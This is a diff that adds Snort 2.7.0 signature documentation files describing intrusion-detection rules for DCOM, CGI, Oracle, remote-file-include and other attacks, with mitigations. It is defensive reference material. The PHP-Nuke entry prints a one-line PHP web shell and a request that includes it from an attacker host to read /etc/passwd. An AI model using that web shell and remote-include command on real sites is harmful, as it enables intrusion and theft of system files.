+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+This vulnerability is also exploited by the Billy/Blaster worm. The worm
+also uses the Trivial File Transfer Protocol (TFTP) to propagate. A 
+number of events generated by this rule may indicate worm activity.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists. This is also exploited by a worm.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+Block access to port 69 used by the worm to propogate.
+
+Block access to port 4444 used by the worm.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Microsoft:
+http://www.microsoft.com/technet/security/bulletin/MS03-026.asp
+
+CVE:
+http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2003-0352
+
+Symantec:
+http://securityresponse.symantec.com/avcenter/venc/data/w32.blaster.worm.html
+
+--
--- snort-2.7.0.orig/doc/signatures/1395.txt
+++ snort-2.7.0/doc/signatures/1395.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1395
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/100000605.txt
+++ snort-2.7.0/doc/signatures/100000605.txt
@@ -0,0 +1,73 @@
+Rule:
+
+--
+Sid:
+100000605
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file 
+include vulnerability in the "Indexu" application running on a webserver. 
+Access to the file "inv_unpaid.php" using a remote file being passed as the 
+"admin_template_path" parameter may indicate that an exploitation attempt has 
+been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a 
+remote machine via the "admin_template_path" parameter in the "inv_unpaid.php" 
+script used by the "Indexu" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to execute system binaries or malicious code of the 
+attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Indexu
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own 
+credentials to gain access. Alternatively the attacker can exploit weaknesses 
+to gain access as the administrator by supplying input of their choosing to the 
+underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.7.0.orig/doc/signatures/2497.txt
+++ snort-2.7.0/doc/signatures/2497.txt
@@ -0,0 +1,60 @@
+Rule:
+
+--
+Sid:
+2497
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in the Microsoft implementation of SSL Version 3.
+
+--
+Impact:
+Denial of Service (DoS).
+--
+Detailed Information:
+A vulnerability exists in the handling of SSL Version 3 requests that
+can be manipulated to cause a DoS condition in various software 
+implementations used on Microsoft operating systems.
+
+The condition exists because of poor error handling routines in the
+Microsoft Secure Sockets Layer (SSL) library. SSL requests containing an
+invalid field, sent to vulnerable systems can cause the affected host to stop 
+handling any further requests.
+
+--
+Affected Systems:
+	Microsoft Windows 2000, 2003 and XP systems using SSL
+
+--
+Attack Scenarios:
+An attcker needs to make an SSL request to an affected system that
+contains an invalid field.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches
+
+--
+Contributors:
+Sourcefire Research Team
+Matt Watchinski <mwatchinski@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/3044.txt
+++ snort-2.7.0/doc/signatures/3044.txt
@@ -0,0 +1,64 @@
+Rule: 
+
+--
+Sid: 
+3044
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in Ethereal.
+
+-- 
+Impact: 
+Serious. Denial of Service (DoS).
+
+--
+Detailed Information:
+Ethereal is a multi-platform network protocol analyser capable of
+displaying network data to the user in a graphical user interface.
+
+An error in the processing of access control lists (ACLs) concerning the
+size of the access control entries (ACEs) may lead to a Denial of Service
+(DoS) condition in Ethereal. The ACL parsing routine trusts the size of
+the ACE given in the packet during processing. If a sufficiently large ACL
+structure is supplied combined with a specified ACE size of 0, it is
+possible to cause the DoS condition to occur.
+
+--
+Affected Systems:
+	Ethereal 0.10.7 and prior
+
+--
+Attack Scenarios: 
+An attacker needs to craft packet data containing large NT ACLs, the
+attacker then needs to specify one of the ACEs as having a size of 0.
+
+-- 
+Ease of Attack: 
+Moderate.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+Upgrade to the latest non-affected version of the software.
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/701.txt
+++ snort-2.7.0/doc/signatures/701.txt
@@ -0,0 +1,64 @@
+Rule:
+
+--
+Sid:
+701
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in Microsoft SQL.
+
+--
+Impact:
+Information gathering and data integrity compromise. Possible unauthorized
+administrative access to the server or application.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to an implementation of Microsoft SQL server or client.  This can
+lead to unauthorized access and possibly escalated privileges to that of 
+the administrator. Data stored on the machine can be compromised and 
+trust relationships between the victim server and other hosts can be 
+exploited by the attacker.
+
+--
+Affected Systems:
+
+--
+Attack Scenarios:
+An attacker can access the authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Disallow administrative access from sources external to the protected
+network.
+
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/2158.txt
+++ snort-2.7.0/doc/signatures/2158.txt
@@ -0,0 +1,55 @@
+Rule:
+
+--
+Sid:
+2158
+
+--
+Summary:
+This event is generated when an invalid BGP session is detected. 
+
+--
+Impact:
+Unknown.
+
+--
+Detailed Information:
+This event indicates that an invalid Border Gateway Protocol (BGP) packet has been detected.
+
+BGP packets must have a datasize of at least 20 bytes. This event indicates that a BGP packet was detected with a datasize less than this amount. TCPDump may enter an endless loop trying to process this packet.
+
+--
+Affected Systems:
+This BGP packet may cause problems with TCPDump.
+
+--
+Attack Scenarios:
+An attacker would need to craft a special BGP packet with a type of 0 or a datasize of less than 20 bytes.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+
+--
--- snort-2.7.0.orig/doc/signatures/100000448.txt
+++ snort-2.7.0/doc/signatures/100000448.txt
@@ -0,0 +1,63 @@
+Rule:
+
+--
+Sid:
+100000448
+--
+Summary:
+This event is generated when an attempt is made to exploit a cross site 
+scripting vulnerability in the "OfficeFlow" application running on a webserver.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to exploit a cross site 
+scripting vulnerability via the "sqlType" parameter in the "default.asp" script 
+used by the "OfficeFlow" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to retrieve sensitive data, execute system binaries 
+or malicious code of the attackers choosing.
+
+--
+Affected Systems:
+All systems running CGI applications using OfficeFlow
+--
+Attack Scenarios:
+An attacker can supply a malicious link designed to steal information from a 
+user clicking on that link.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+The Cross Site Scripting (XSS) FAQ
+http://www.cgisecurity.com/articles/xss-faq.shtml
+
+--
+
--- snort-2.7.0.orig/doc/signatures/111-4.txt
+++ snort-2.7.0/doc/signatures/111-4.txt
@@ -0,0 +1,58 @@
+Rule: 
+
+--
+Sid: 
+111-4
+
+-- 
+Summary: 
+This event is generated when the pre-processor stream4
+detects network traffic that may constitute an attack.
+
+-- 
+Impact: 
+Unknown.
+
+--
+Detailed Information:
+The pre-processor stream4 has detected network traffic that indicates
+data has been found outside the expected window for the data in a session.
+
+This is not normal network behavior and may indicate spurious activity
+or a malfunctioning operating system network stack.
+
+--
+Affected Systems:
+	All systems
+
+--
+Attack Scenarios: 
+
+-- 
+Ease of Attack: 
+Simple. Many automated packet generation tools exist.
+
+-- 
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+-- 
+Corrective Action:
+Check the target host for signs of compromise.
+
+Ensure the system is up to date with any appropriate vendor supplied patches.
+
+--
+Contributors:
+Martin Roesch <roesch@sourcefire.com>
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/400.txt
+++ snort-2.7.0/doc/signatures/400.txt
@@ -0,0 +1,61 @@
+Rule:
+
+--
+
+Sid:
+400
+
+--
+
+Summary:
+This event is generated when An ICMP Network Unreachable For Type Of Service datagram is detected on the network.  
+
+--
+
+Impact:
+Routers will generate this message when the route to the destination network does not support the Type of Service requested in the datagram or the default TOS.  This could be an indication or routing problems or excessive packet loss.
+
+--
+
+Detailed Information: 
+This rule generates informational events about the network.  Large numbers of these messages on the network could indication routing problems, faulty routing devices, or improperly configured hosts.
+
+--
+
+Attack Scenarios:
+None Known
+
+--
+
+Ease of Attack:
+Numerous tools and scripts can generate these types of ICMP datagrams.
+
+--
+
+False Positives:
+None Known
+
+--
+
+False Negatives:
+None Known
+
+--
+
+Corrective Action:
+This rule detects informational network information, no corrective action is necessary.
+
+--
+
+Contributors:
+Original Rule writer unknown
+Sourcefire Research Team
+Matthew Watchinski (matt.watchinski@sourcefire.com)
+
+--
+
+Additional References:
+None
+
+
+--
--- snort-2.7.0.orig/doc/signatures/493.txt
+++ snort-2.7.0/doc/signatures/493.txt
@@ -0,0 +1,66 @@
+Rule:
+
+--
+Sid: 493
+
+--
+Summary: 
+This event is generated when an attempt is made to access the psyBNC IRC
+"bouncer".
+
+--
+Impact: 
+
+
+--
+Detailed Information:
+The psyBNC IRC bouncer was designed to hold a connection to an IRC server.  As part
+of the connection process, a psyBNC server will respond with
+"Welcome!psyBNC@lam3rz.de".
+
+--
+Affected Systems:
+ All systems using psyBNC.
+
+--
+Attack Scenarios:
+The psyBNC server itself is not necessarily a risk in itself, but this may be a
+violation of corporate policy. Furthermore, psyBNC has found it's way into a large number
+of rootkits, both as an IRC bouncer and as remote control agent for dDOS networks.
+
+--
+Ease of Attack:
+Simple. Any user can install psyBNC.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+A modified psyBNC server will not respond with "Welcome!psyBNC@lam3rz.de" and could
+easily evade this rule.
+
+SSL encryption between client and server is possible.
+
+--
+Corrective Action:
+Check the originating host IP and source port and investigate the possibility of a
+listening psyBNC server and possible system comprimise.
+
+--
+Contributors:
+Original rule writer unknown
+Original document author unkown
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Jon Hart <warchild@spoofed.org>
+
+-- 
+Additional References:
+
+psyBNC:
+http://www.psychoid.lam3rz.de/
+http://www.psychoid.net/
+
+--
--- snort-2.7.0.orig/doc/signatures/2374.txt
+++ snort-2.7.0/doc/signatures/2374.txt
@@ -0,0 +1,61 @@
+Rule:
+
+--
+Sid:
+2374
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a buffer 
+overflow vulnerability associated with Mollensoft Hyperion FTP/Encladus Server Suite NLST 
+command. 
+
+--
+Impact:
+Remote access.  A successful attack may permit the remote execution of 
+arbitrary commands with system privileges.
+
+--
+Detailed Information:
+CesarFTPD offers FTP servers for Windows hosts. A vulnerability exists 
+with the NLST command that can cause a buffer overflow and permit the 
+execution of arbitrary commands with system privileges. The buffer 
+overflow can be caused by supplying an overly long argument to the NLST 
+command.
+
+--
+Affected Systems:
+	Mollensoft Software Enceladus Server Suite 3.9.11
+	Mollensoft Software Hyperion FTP Server 3.5.2
+
+--
+Attack Scenarios:
+An attacker can supply an overly long file argument with the NLST 
+command, causing a buffer overflow.
+
+--
+Ease of Attack:
+Simple.  
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com> 
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/2731.txt
+++ snort-2.7.0/doc/signatures/2731.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2731
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure add_unique_resolution
+. This procedure is included in
+dbms_repcat.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/2649.txt
+++ snort-2.7.0/doc/signatures/2649.txt
@@ -0,0 +1,68 @@
+Rule:
+
+--
+Sid:
+2649
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in a Oracle database implementation.
+
+--
+Impact:
+Serious. Execution of arbitrary code may be possible. A Denial of
+Service (DoS) condition may also be caused.
+
+--
+Detailed Information:
+
+An attacker can attempt to connect to a database using an overly
+long service_name value. This can cause a buffer overflow, allowing
+an attacker to execute arbitrary code.
+
+If you are running Oracle on a Windows server, make sure that the
+variable $ORACLE_PORTS is set to a value of "any".
+
+--
+Affected Systems:
+       Oracle7, Oracle8, Oracle8i, and Oracle9i
+
+--
+Attack Scenarios:
+An attacker can attempt to connect to a database supplying the
+service_name an overly long value.  The result could permit the
+attacker to gain escalated privileges and run code of their
+choosing.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--Contributors:
+Sourcefire Vulnerability Research Team
+Matt Watchinski <mwatchinski@sourcefire.com>
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Other:
+http://www.appsecinc.com/Policy/PolicyCheck52.html
+
+--
--- snort-2.7.0.orig/doc/signatures/100000483.txt
+++ snort-2.7.0/doc/signatures/100000483.txt
@@ -0,0 +1,73 @@
+Rule:
+
+--
+Sid:
+100000483
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file 
+include vulnerability in the "Wheatblog" application running on a webserver. 
+Access to the file "view_links.php" using a remote file being passed as the 
+"wb_inc_dir" parameter may indicate that an exploitation attempt has been 
+attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a 
+remote machine via the "wb_inc_dir" parameter in the "view_links.php" script 
+used by the "Wheatblog" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to execute system binaries or malicious code of the 
+attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Wheatblog
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own 
+credentials to gain access. Alternatively the attacker can exploit weaknesses 
+to gain access as the administrator by supplying input of their choosing to the 
+underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.7.0.orig/doc/signatures/1318.txt
+++ snort-2.7.0/doc/signatures/1318.txt
@@ -0,0 +1,64 @@
+Rule:  
+--
+Sid:
+
+1318
+
+--
+Summary:
+This rule indicates that a webpage was visited the included the content "hardcore rape".
+
+--
+Impact:
+Someone could be violating your company's policy regarding the browsing of inappropriate content.
+
+--
+Detailed Information:
+
+This rule looks for a response from a webserver containing "hardcore rape".
+
+--
+Affected Systems:
+
+All
+
+--
+Attack Scenarios:
+
+Not an attack.  
+
+--
+Ease of Attack:
+
+N/A.
+
+--
+False Positives:
+
+This could have been caused by a pop-up window or spam with an embedded link to a pornographic website.  This could also be caused by somebody visiting the snort rule descriptions on the snort website.
+
+--
+False Negatives:
+
+None known.
+--
+Corrective Action:
+
+Dependent on your company's policies.   
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Snort documentation contributed by Steven Alexander<alexander.s@mccd.edu>
+-- 
+Additional References:
+
+
+
+
+
+
+
+--
--- snort-2.7.0.orig/doc/signatures/1865.txt
+++ snort-2.7.0/doc/signatures/1865.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1865
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/1399.txt
+++ snort-2.7.0/doc/signatures/1399.txt
@@ -0,0 +1,81 @@
+Rule: 
+
+--
+Sid:
+1399
+
+--
+Summary:
+This event is generated when an attempt is made to include a remote file
+as part of PHP-Nuke index.php.
+
+--
+Impact:
+Possible information disclosure, or command execution at the priviledge level of
+the user running the webserver.
+
+--
+Detailed Information:
+The index.php included with PHP-nuke allows inclusion of additional files.
+Normal usage might be situations where a webmaster wants to include
+additional code in their index.php.  This can be done via
+"index.php?file=<path_to_file>".  PHP-nuke also allows inclusion of
+files from remote sources specified by either ftp or http as the
+transport protocol.  This allows attackers to craft their own php file
+(say, foo.php) and store it remotely (say, http://mysite.org/foo.php)
+and then instruct the victim machine to include foo.php as part of it's
+source.  Any code in foo.php will get executed on the victim machine.
+
+
+--
+Affected Systems:
+	PHP Nuke 1.0 through 5.3.1
+ 
+--
+Attack Scenarios:
+In an attempt to gain access to a remote site that happens to use PHP-nuke,
+an attacker crafts the following foo.php, and places it on a website that
+he controls:
+	
+	<?php
+	system($cmd);
+	?> 
+
+The attacker can then include foo.php as part of a remote site's index.php
+that uses PHP-nuke, and execute any command:
+
+	lynx \
+	http://victim.com/index.php?file=http://attacker.org/foo.php?cmd=cat%20/etc/passwd
+	
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known
+
+
+--
+False Negatives:
+If the page being accessed is not named index.php, but has the same
+vulnerability as the original index.php, the rule will not generate an
+event.
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+--
+Contributors:
+Snort documentation contributed by Jon Hart <warchild@spoofed.org>
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+
+--
--- snort-2.7.0.orig/doc/signatures/100000368.txt
+++ snort-2.7.0/doc/signatures/100000368.txt
@@ -0,0 +1,58 @@
+
+
+Rule:
+
+--
+Sid:
+100000368
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "phpNuke" application running on a webserver. Access to the file "admin_disallow.php" using a remote file being passed as the "phpbb_root_path" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "phpbb_root_path" parameter in the "admin_disallow.php" script used by the "phpNuke" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using phpNuke
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
+
--- snort-2.7.0.orig/doc/signatures/2368.txt
+++ snort-2.7.0/doc/signatures/2368.txt
@@ -0,0 +1,59 @@
+Rule:  
+
+--
+Sid:
+2368
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in the PHP web application PhpGedView.
+
+--
+Impact:
+Execution of arbitrary code on the affected system
+
+--
+Detailed Information:
+PhpGedView contains a flaw such that it may be possible for an attacker
+to include code of their choosing by manipulating the PGV_BASE_DIRECTORY
+parameter when making a GET or POST  request to a vulnerable system.
+
+It may be possible for an attacker to execute that code with the
+privileges of the user running the webserver, usually root.
+
+--
+Affected Systems:
+	PhpGedView 2.65.1 and earlier
+--
+Attack Scenarios:
+An attacker can make a request to an affected script and define their
+own path to the PGV_BASE_DIRECTORY variable.
+
+--
+Ease of Attack:
+Simple. No exploit software required.
+
+--
+False Positives:
+None known
+
+--
+False Negatives:
+None known
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches
+
+Upgrade to the latest non-affected version of the software
+
+--
+Contributors:
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/1398.txt
+++ snort-2.7.0/doc/signatures/1398.txt
@@ -0,0 +1,57 @@
+Rule:
+
+--
+Sid: 1398
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a buffer overflow condition in the dtspcd daemon.
+
+--
+Impact:
+Serious. System compromize presenting the attacker with the opportunity to execute arbitrary code.
+
+--
+Detailed Information:
+Certain versions of the Common Desktop Environment (CDE) subprocess control service (dtspcd) contain a programming error that allows an attacker to execute arbitrary code.
+
+dtspcd is used to launch remote applications over a network connection. CDE is used on UNIX and Linux systems as a graphical window manager, it was the default X windows interface on Sun systems until the switch to Gnome.
+
+--
+Attack Scenarios:
+Exploit scripts are available
+
+--
+Ease of Attack:
+Simple. Exploits are available.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+--
+Contributors:
+Original rule writer unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+CVE:
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2001-0803
+
+CERT:
+http://www.cert.org/advisories/CA-2002-01.html
+http://www.cert.org/advisories/CA-2001-31.html
+http://www.kb.cert.org/vuls/id/172583
+
+--
--- snort-2.7.0.orig/doc/signatures/1853.txt
+++ snort-2.7.0/doc/signatures/1853.txt
@@ -0,0 +1,61 @@
+Rule:
+
+--
+Sid:
+1853
+
+--
+Summary:
+This event is generated when  an attacker attempts to connect to a 
+Trinoo DDoS Trojan server.
+
+--
+Impact:
+Possible Distributed Denial of Service.
+
+--
+Detailed Information:
+This Trojan affects Windows and Linux operating systems:
+
+Trinoo is used as a Distributed Denial of Service (DDoS) agent and can 
+launch DDoS attacks from a large number of hosts against a target.
+
+Due to the nature of this Trojan it is unlikely that the attacker's 
